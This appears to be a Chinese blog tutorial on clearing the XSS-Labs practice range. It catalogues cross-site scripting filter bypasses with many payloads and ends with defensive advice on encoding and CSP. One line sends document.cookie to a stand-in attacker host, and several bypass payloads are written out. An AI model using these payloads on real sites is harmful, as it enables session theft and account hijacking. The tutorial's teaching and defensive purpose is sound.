XSS-Labs靶场通关:10种绕过过滤的核心技巧与实战思维

发布时间:2026/7/27 13:58:15
XSS-Labs靶场通关:10种绕过过滤的核心技巧与实战思维 1. 项目概述为什么XSS-Labs是Web安全进阶的必修课如果你在安全圈待过一阵子或者刚入门Web安全大概率听说过XSS-Labs这个靶场。它不像DVWA那样功能庞杂也不像Pikachu那样场景丰富它只有一个核心目标用最纯粹、最直接的方式让你亲手绕过各种千奇百怪的过滤规则把一段恶意脚本成功“弹”出来。这个“弹”指的就是弹出那个经典的alert(1)对话框。听起来简单但当你真正上手面对那些被层层过滤、编码、转义后的输入点时才会深刻体会到什么叫“道高一尺魔高一丈”。我花了几天时间从头到尾通关了XSS-Labs。这个过程与其说是在解题不如说是在和出题人进行一场跨越时空的攻防博弈。每一关都像是一个精心设计的谜题过滤逻辑各不相同你需要不断变换思路尝试各种Payload的变形、组合与绕过。通关之后我最大的收获不是记住了几个Payload而是形成了一套应对过滤的“肌肉记忆”和思维框架。今天我就把这套从实战中总结出来的、最核心的10种绕过过滤的技巧连同具体的代码示例和背后的思考逻辑毫无保留地分享给你。无论你是正在备战CTF比赛还是想在实际渗透测试中更高效地发现XSS漏洞这些技巧都能让你少走很多弯路。2. 靶场环境与核心思路解析2.1 XSS-Labs靶场设计哲学XSS-Labs通常是一个本地搭建的PHP靶场它模拟了一个存在XSS漏洞的简单应用。其核心设计哲学在于“单一变量控制”每一关的漏洞点比如一个名为name的GET参数是固定的但服务端对用户输入的过滤和处理逻辑逐关增强。从最基础的无过滤到过滤尖括号再到过滤script、on事件甚至进行HTML实体编码、JavaScript编码等。这种递进式的设计强迫攻击者必须深入理解数据在前后端的流转过程以及各种过滤器的特性和局限性。靶场的价值在于它剥离了真实环境中复杂的业务逻辑和混淆的代码将XSS对抗中最精华的部分——过滤与绕过——赤裸裸地呈现出来。你需要关注的是我的输入经历了什么哪些字符被处理了处理的方式是什么删除、替换、编码处理后的数据最终被放置在HTML文档的哪个上下文Context中只有回答了这些问题才能有的放矢地构造绕过Payload。2.2 通用测试流程与思维模型在开始具体技巧之前建立一个清晰的测试流程至关重要。盲目地尝试各种Payload是低效的。我的通用流程如下信息收集首先向参数提交一组“探针”字符。我常用的探针是“‘();\onscriptimg。提交后右键查看网页源代码或使用F12开发者工具仔细对比你的输入和最终页面中呈现的内容。这一步的目的是摸清过滤器的“脾气”它是直接删除这些字符还是将其转义如变成lt;或者是进行了某种编码上下文判定确定你的输入最终被插入到了HTML的哪个位置。常见的上下文有HTML标签内Tag Context如div [你的输入] /div。这里你可以尝试闭合当前标签插入新标签。HTML属性内Attribute Context如input value“[你的输入]”。这里你需要考虑如何闭合属性值引号然后引入事件处理器。JavaScript代码内Script Context如scriptvar a ‘[你的输入]’; /script。这里你需要遵循JavaScript语法闭合字符串执行新代码。URL上下文URL Context如a href“[你的输入]”。这里可能需要利用javascript:伪协议。Payload构造与迭代根据前两步的结果选择或构造合适的Payload。如果一次不成功就基于返回结果进行微调比如尝试大小写、嵌套、编码、插入干扰字符等。验证与利用当alert(1)成功弹出并不意味着结束。思考这个Payload在真实攻击中能做什么是窃取Cookiedocument.cookie是发起请求fetch还是进行键盘记录理解漏洞的潜在危害同样重要。这个思维模型将贯穿我们后面所有的技巧讲解。3. 基础字符绕过与大小写变换3.1 利用过滤逻辑的“盲区”很多初级的过滤脚本会采用简单的字符串匹配和替换。例如使用str_replace(“script”, “”, $input)来删除script标签。这种过滤的盲区非常明显。技巧1大小写绕过过滤规则可能只匹配了全小写的script。这时简单地变换大小写就能绕过。Payload示例ScRiPtalert(1)/ScRiPt原理浏览器在解析HTML标签时是不区分大小写的ScRiPt和script会被同等对待。但服务端的字符串匹配函数如str_replace,preg_replace的默认模式通常是区分大小写的。实战注意先尝试Script、SCRIPT如果不行再尝试随机大小写组合。有时过滤规则可能是一个黑名单数组[‘script’, ‘Script’, ‘SCRIPT’]但总有可能漏掉一些组合如ScRiPt。技巧2嵌套与插入干扰字符如果过滤是删除一次script字符串那么可以通过嵌套让过滤后剩下的字符重新组合成script。Payload示例scrscriptiptalert(1)/scrscriptipt原理假设服务器执行了$input str_replace(“script”, “”, $input);。那么对于输入scrscriptipt中间的script被删除后剩下的scr和ipt会拼接起来正好形成新的script字符串。变形也可以插入其他不会被过滤的字符或标签如scrimgipt前提是img标签本身不会被整体删除。3.2 针对属性过滤的绕过当输入点位于HTML属性内比如input value“INPUT”过滤可能会针对事件处理器如onclick和属性闭合引号。技巧3利用未闭合的引号与多个事件有时过滤器只过滤了第一个on事件或者只检查了单引号。Payload示例“ onmouseoveralert(1) x“原理首先开头的“用于闭合原有的属性值引号。然后我们添加一个自定义的事件属性onmouseoveralert(1)。最后的x“是一个技巧它开启一个新的属性x其值是一个未闭合的双引号。这有助于“吞掉”后续HTML中可能存在的原有引号避免语法错误导致Payload失效。onmouseover是一个常用但可能被忽略的事件可以替代onclick、onerror等。尝试顺序如果onclick被过滤尝试onmouseover、onfocus、onblur、onload针对img等标签。如果双引号被过滤尝试单引号‘ onmouseoveralert(1) x‘注意在实际测试中查看源代码确认你的输入是否正确地改变了HTML结构至关重要。属性值之间需要有空格分隔。4. 编码与特殊字符的妙用当直接的关键词和符号被严格过滤时编码就成了我们的主要武器。核心思路是让Payload以某种编码形式绕过过滤器然后在浏览器解析阶段被正确解码并执行。4.1 HTML实体编码绕过HTML实体编码是为了在HTML中安全地显示特殊字符。例如被编码为lt;被编码为gt;。但如果服务端错误地进行了多重编码或者浏览器在某些上下文中会自动解码就可能被利用。技巧4利用编码解码顺序差异假设一个输入点服务端先对用户输入进行HTML实体编码转义然后再将其放入HTML标签内部。场景div [服务器对INPUT进行htmlspecialchars转义] /divPayload示例lt;img src1 onerroralert(1)gt;原理你提交的是编码后的字符串。服务器收到后可能由于逻辑缺陷没有再次转义而是直接输出。当浏览器渲染div时会对其中的文本进行HTML解码于是lt;被还原成gt;被还原成从而img标签被成功解析并执行onerror事件。关键点你需要判断服务器输出的是lt;img ...gt;这样的编码文本还是已经被浏览器解析成的标签。查看网页源代码就能一目了然。4.2 JavaScript编码与Unicode绕过在JavaScript上下文中编码绕过更为常见。例如输入点位于scriptvar a ‘INPUT’;/script中。技巧5利用JavaScript Unicode转义JavaScript支持用\uXXXXXXXX是Unicode码点的形式表示字符。Payload示例\u0061\u006c\u0065\u0072\u0074(1)等价于alert(1)原理如果过滤器只检测明文的alert字符串那么这种Unicode转义形式可以轻松绕过。浏览器在解析script标签内的JavaScript代码时会识别并解码这些Unicode转义序列。如何生成可以使用在线工具或编程语言如Python快速将字符串转为\u形式。# Python示例 s “alert(1)” encoded “.join([f’\\u{ord(c):04x}’ for c in s]) print(encoded) # 输出\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029变形除了\uXXXX还可以混合使用\xXX十六进制、\XXX八进制已不推荐以及简单的\n、\t等转义字符进行混淆。技巧6利用eval()、setTimeout()、Function构造函数动态执行如果关键字被过滤但括号、字符串拼接功能还在可以尝试动态执行代码。Payload示例1eval(‘al’’ert(1)’)Payload示例2setTimeout(‘alert(1)’)Payload示例3Function(‘ale’’rt(1)’)()原理将关键的函数名或代码拆分成字符串片段利用字符串拼接绕过静态关键词检测然后通过能执行字符串代码的JavaScript函数eval,setTimeout,new Function来动态执行。eval是最直接的但setTimeout和Function在某些情况下限制更少。实操心得在script标签内测试时务必注意分号;和字符串引号的闭合。一个常见的测试流程是先输入‘;alert(1);//尝试闭合前面的字符串并注释掉后面的代码。查看源代码看你的输入是否破坏了原有的JS语法结构。5. 标签与属性替代方案当最直接的script标签和on*事件被全面封杀时我们需要挖掘更多“冷门”但有效的HTML标签和属性。5.1 非脚本标签的事件触发很多HTML标签支持事件属性不一定需要script。技巧7img标签的onerror事件这是最经典的替代方案之一。当img的src指向一个无效地址时会触发onerror事件。Payload示例img src1 onerroralert(1)优势img标签非常常见且onerror的执行不需要用户交互如点击只要图片加载失败就自动触发。绕过点如果过滤了onerror可以尝试其他事件如onload但需要图片能成功加载或者结合编码img src1 onerroralert(1)注意这里需要对onerror进行HTML实体编码仅当浏览器在标签上下文解码时才有效需具体测试。技巧8svg标签与iframe标签svg标签内可以包含script但有时对script的过滤可能只针对顶级HTML对SVG内部的script检查不严。Payload示例svg onloadalert(1)或svgscriptalert(1)/script/svg原理svg是HTML5的一部分其onload事件在SVG文档加载完成后触发。iframe的onload事件同样可以利用。body/input标签body onloadalert(1)可以用于在页面加载时触发。input onfocusalert(1) autofocus利用autofocus属性让输入框自动获得焦点从而触发onfocus事件需要用户稍作交互如点击页面其他位置后回来。5.2 利用HTML5新标签与属性HTML5引入了一些新标签和属性可能不在老旧过滤器的黑名单中。技巧9details标签的ontoggle事件Payload示例details open ontogglealert(1)原理details元素创建一个可折叠的详情区域。open属性使其默认展开ontoggle事件在展开/收起状态变化时触发。这个组合可以做到无需用户交互自动触发。技巧10video/audio标签的onplay事件Payload示例video src1 onplayalert(1) autoplay原理autoplay属性尝试自动播放媒体如果成功或开始尝试就会触发onplay事件。不过现代浏览器出于用户体验考虑通常禁止带声音的媒体自动播放所以这个Payload的触发成功率受浏览器策略影响。技巧11利用form与input的formaction/onformchange这是一个相对隐蔽的向量。Payload示例form id”x”/form button form”x” formaction”javascript:alert(1)”click/button原理formaction属性可以覆盖form标签的action当按钮被点击提交表单时会执行javascript:伪协议。这需要用户点击但利用了非典型属性。6. 协议处理与伪协议利用在某些上下文中数据被当作URL处理例如a href”INPUT”或iframe src”INPUT”。这为我们打开了另一扇门javascript:伪协议。6.1javascript:伪协议详解javascript:伪协议允许在URL位置执行JavaScript代码。当浏览器加载这样的“URL”时会执行冒号后面的代码。基础Payloadjavascript:alert(1)关键点代码执行后当前页面或iframe的内容通常会被替换为这段代码的返回值如果非undefined。alert返回undefined所以页面会变成空白。在实际攻击中我们可能更倾向于使用javascript:fetch(‘http://attacker.com/steal?cookie’document.cookie)这类不会改变页面内容的Payload。6.2 绕过对javascript:关键词的过滤过滤器当然知道这个协议所以会尝试过滤javascript:字符串。技巧12利用URL编码与空白符Payload示例1java%0ascript:alert(1)%0a是换行符的URL编码Payload示例2java%09script:alert(1)%09是制表符Payload示例3java%0dscript:alert(1)%0d是回车符原理浏览器在解析javascript:伪协议时对于协议名javascript:部分有时会非常“宽容”会忽略其中的某些控制字符如换行、回车、制表符。而服务端的过滤可能只是简单的字符串匹配无法识别这些插入干扰符的变体。测试方法需要逐个尝试不同的控制字符编码。查看页面源代码确认你输入的编码是否被原样输出到了href或src属性中。技巧13利用非常规协议或数据协议Payload示例data:text/html,scriptalert(1)/script原理data:协议允许在URL中直接嵌入数据。如果标签如iframe、object、embed的src属性允许data:协议并且其MIME类型如text/html被浏览器支持渲染那么其中包含的HTML/JavaScript代码就会被执行。这完全绕过了对javascript:的依赖。限制同源策略SOP仍然适用但执行代码本身是没问题的。另外某些网站可能会通过内容安全策略CSP禁止data:协议。注意事项javascript:伪协议在a标签的href中需要用户点击链接才能触发。但在iframe的src、img的src低版本IE某些特性下、form的action等属性中可能无需交互或通过其他事件触发。在实际测试中要结合上下文判断。7. 基于DOM的XSS与高级绕过XSS-Labs的后期关卡往往会引入更复杂的场景例如基于DOM的XSS或者结合了前端JavaScript过滤。这时需要分析客户端的JS代码逻辑。7.1 分析前端JavaScript过滤逻辑你需要打开浏览器的开发者工具F12切换到“Sources”或“调试器”面板找到处理用户输入的JavaScript函数。关键是要理解它是如何过滤的以及过滤后数据流向哪个“汇点”Sink。常见的危险“汇点”包括innerHTMLouterHTMLdocument.write()eval()setTimeout()/setInterval()第一个参数为字符串时location.href/location.assign()/location.replace()element.src/element.href当值可控时window.open()Function构造函数技巧14利用字符串拼接与反引号模板字符串假设前端代码这样写var userInput getParameter(‘input’); userInput userInput.replace(/script/gi, ‘’); // 过滤script不区分大小写 document.getElementById(‘output’).innerHTML ‘div Welcome, ‘ userInput ‘!/div’;绕过思路过滤器只替换了script。我们可以用其他标签或者用img onerror。Payload示例img src1 onerroralert(1)更进一步如果过滤了onerror和img呢考虑使用反引号实现字符串模板注入如果JS环境支持ES6。假设代码是document.write(Welcome, ${userInput});Payload示例${alert(1)}原理在模板字符串中${}内的表达式会被执行。如果userInput被直接拼接进模板字符串那么注入的${}就会被求值。技巧15利用JS编码与eval如果过滤了alert但允许括号和字符串且最终数据流向了eval或Function。场景eval(‘someVar “‘ userInput ‘“;’);Payload示例“);alert(1);//原理输入后代码变为eval(‘someVar ““);alert(1);//“;’);。我们首先用“);闭合了前面的字符串和语句然后插入自己的alert(1);最后用//注释掉后面多余的“;’);。这本质上是一次JavaScript代码注入。7.2 利用DOM属性与全局对象浏览器环境中有许多内置对象和属性可以被用来执行代码。技巧16利用location.hash与evallocation.hash是URL中#后面的部分客户端可读写且改变它不会导致页面刷新。有时会被不安全地使用。假设代码eval(location.hash.substring(1));意图是执行#后的代码利用直接访问http://vuln-site.com/page.html#alert(1)原理location.hash的值是#alert(1)substring(1)去掉#得到alert(1)然后被eval执行。技巧17利用name属性与window对象在iframe或object中name属性可以被上层窗口通过window.frames[‘name’]或直接通过name访问。如果这个name属性被不安全地使用可能造成XSS。Payload示例iframe name“alert(1)” src“about:blank”/iframe利用场景需要页面中存在类似eval(window.name)或eval(top.frames[0].name)的代码。这属于一种存储型DOM XSS的向量。8. 结合其他漏洞的复合绕过在真实世界和高级靶场中XSS的利用往往不是孤立的需要结合其他漏洞或特性。8.1 结合CRLF注入CRLFCarriage Return Line Feed\r\n注入通常用于HTTP响应头拆分。但有时也能用于XSS。场景一个将用户输入反射到HTTP响应头如Location头或自定义头的应用且没有正确过滤换行符。Payload示例inputvalue%0d%0a%0d%0ascriptalert(1)/script原理%0d%0a%0d%0a是两个连续的CRLF在HTTP协议中两个CRLF标志着头部结束、正文开始。如果服务器错误地将这个输入放入一个响应头并且没有正确处理换行可能导致后续的script标签被直接写入HTTP响应正文从而被浏览器解析执行。这种场景比较特殊但一旦存在危害极大。8.2 结合文件上传功能如果网站允许上传文件如图片、SVG、HTML并且上传后的文件可以被浏览器直接访问那么就可以上传一个包含恶意脚本的文件。SVG文件XSSSVG是一种基于XML的图片格式可以直接内嵌JavaScript。恶意SVG内容svg xmlns“http://www.w3.org/2000/svg” onload“alert(1)”/svg上传此SVG文件然后诱使用户直接访问该文件的URL或者将其作为img标签的src注意现代浏览器为了安全默认将img标签内的SVG当作图片渲染不会执行其中的脚本但直接访问SVG文件URL或通过iframe、object加载仍可能执行。HTML文件上传如果服务器错误地将上传文件的MIME类型设置为text/html或者允许上传.html文件那么直接访问该文件就是一个完整的恶意页面。8.3 利用不安全的CORS配置或PostMessage这属于更高级的利用通常与存储型XSS或反射型XSS结合实现跨域数据窃取。CORS配置错误如果存在XSS的站点A其CORS策略配置为Access-Control-Allow-Origin: *允许任何来源那么攻击者在自己控制的站点B上可以通过JavaScript发起一个到站点A的跨域请求例如fetch并携带站点A用户的Cookie如果Cookie未设置HttpOnly。虽然XSS本身就能窃取同站点的Cookie但宽松的CORS可能让攻击者更容易地构造利用页面。PostMessage滥用如果存在XSS的页面子页面或父页面使用了postMessageAPI与其它窗口通信且消息处理逻辑不安全如未验证来源就直接eval消息内容那么攻击者可能通过XSS注入恶意代码向目标窗口发送恶意消息从而在目标窗口的上下文中执行代码这可能实现跨窗口的XSS升级。9. 防御视角下的思考与实战排查通关靶场是为了更好地防御。从这些绕过技巧中我们可以提炼出防御XSS的核心原则。9.1 根本性防御措施严格的输入输出编码Context-Aware Encoding原则数据在哪使用就用哪种编码。HTML正文使用HTML实体编码如-lt;,-amp;。HTML属性除了编码”还要注意属性值始终用引号括起来。JavaScript使用JavaScript编码如\uXXXX转义或使用JSON.stringify。URL使用URL编码encodeURIComponent。CSS使用CSS编码。现代前端框架如React、Vue、Angular等默认提供了良好的上下文编码但也要注意安全地使用dangerouslySetInnerHTML或v-html等特性。使用可信的库和框架避免直接使用innerHTML、document.write()、eval()等危险函数。使用经过安全审计的模板引擎并确保其自动转义功能开启。对于富文本编辑器的内容展示使用如DOMPurify这样的专业库进行净化Sanitization而不是简单的黑名单过滤。实施内容安全策略CSPCSP是一个强大的深度防御措施。通过HTTP头Content-Security-Policy你可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式、图片等。例如一个严格的CSP可以完全禁止内联脚本‘unsafe-inline’和eval‘unsafe-eval’这能极大程度上遏制我们上面讨论的绝大多数XSS攻击特别是反射型和DOM型。示例CSP头Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com;部署CSP需要仔细规划因为它可能会阻断网站的正常功能建议从Content-Security-Policy-Report-Only模式开始只报告不拦截。9.2 渗透测试中的XSS排查要点当你站在攻击者或白帽子的角度进行测试时除了尝试各种Payload还应该系统化地工作参数枚举不要只测试显眼的参数。使用爬虫或代理工具如Burp Suite收集所有请求参数包括URL参数、POST数据、Cookie、HTTP头如User-Agent,Referer,X-Forwarded-For。这些都可能成为注入点。上下文识别对于每个输入点快速判断其输出上下文。是HTML是属性是JavaScript字符串是URL这决定了你首选的Payload类型。自动化与手动结合使用自动化扫描器如Burp的Active Scan AWVS等进行初步探测它们能发现一些明显的漏洞。但高级的、需要绕过的XSS几乎全靠手动测试。将扫描器报告作为起点而不是终点。代码审计辅助如果条件允许如白盒测试直接审计源代码是最高效的方式。寻找那些将用户输入传递给危险“汇点”Sink的代码路径。利用链构建一个简单的弹窗XSS证明漏洞存在但真正的危害在于利用。思考如何将这个XSS与网站的其他功能如修改资料、发送消息、支付结合构造一个可以窃取敏感信息、进行未授权操作或传播蠕虫的完整利用链。10. 常见问题与排查技巧实录在实战和打靶过程中我踩过不少坑也总结了一些快速排查问题的技巧。问题1Payload提交了也看到了弹窗但为什么不算通关可能原因靶场可能有特殊的检测机制。例如XSS-Labs某些关卡要求弹窗的内容必须是数字1alert(1)如果你弹的是alert(‘xss’)可能就不算。或者它检测的是否在特定元素内触发了XSS。排查仔细阅读关卡提示如果有或观察页面是否有任何变化如某个div的内容被改变了。使用console.log(document.domain)或alert(document.domain)来确认代码确实在靶场域名下执行。问题2Payload在本地测试成功但放到实际网站或靶场里没反应可能原因1CSP限制。打开浏览器开发者工具的Console控制台很可能会看到类似“拒绝执行内联脚本”的CSP报错。这时你需要调整策略尝试寻找允许的脚本源或者转向其他非脚本的利用方式如数据外带。可能原因2输入被截断或长度限制。查看页面源代码看你的Payload是否被完整输出。可能服务器对参数长度做了限制。可能原因3动态内容加载。如果你的Payload被插入到一个通过Ajax动态加载的元素里可能在页面主框架加载时你的代码还没执行。尝试使用setTimeout包裹你的代码或者使用onload、DOMContentLoaded事件确保DOM就绪。Payload示例img src1 onerror“setTimeout(()alert(1),500)”问题3如何快速测试一个过滤规则方法编写一个简单的本地HTML页面用JavaScript模拟过滤逻辑。例如你怀疑服务器用preg_replace(‘/script/i’, ‘’, $input)你就在本地用JS写一个类似的过滤函数然后快速迭代测试你的Payload看过滤后剩下什么。这比每次提交到靶场等待响应要快得多。问题4遇到完全不知道过滤逻辑的“黑盒”怎么办策略采用“差分测试法”。准备两组PayloadA组无害探测aaabbbccc“ddd‘eee(fff)B组关键词探测script onclick onerror src href javascript data分别提交A和B对比输出结果。A组告诉你哪些特殊字符被处理删除或编码B组告诉你哪些关键词被处理。结合两者就能大致推断出过滤规则。问题5alert(1)被过滤了怎么办替代方案XSS证明不一定非要用alert。confirm(1)弹出确认框。prompt(1)弹出输入框。console.log(1)在控制台输出需要打开开发者工具才能看到但确实执行了。document.location‘http://attacker.com/‘跳转到攻击者网站证明可以发起请求。创建一个可见元素img src1 onerror“document.body.innerHTML‘h1XSS/h1‘“直接修改页面内容。选择哪种方式取决于靶场的检测逻辑和你的测试目标。通关XSS-Labs靶场就像完成了一次系统的XSS攻防思维训练。它强迫你从攻击者的角度去思考如何突破防线而这恰恰是构建有效防御的最佳方式。记住没有一劳永逸的过滤规则安全是一个持续的过程。保持对新技术、新绕过方法的好奇和学习才能在不断变化的攻防战场上站稳脚跟。最后在你自己的项目中请务必采用“默认拒绝白名单允许”的安全编码原则并善用CSP这样的深度防御机制从根本上减少XSS漏洞的风险。

相关新闻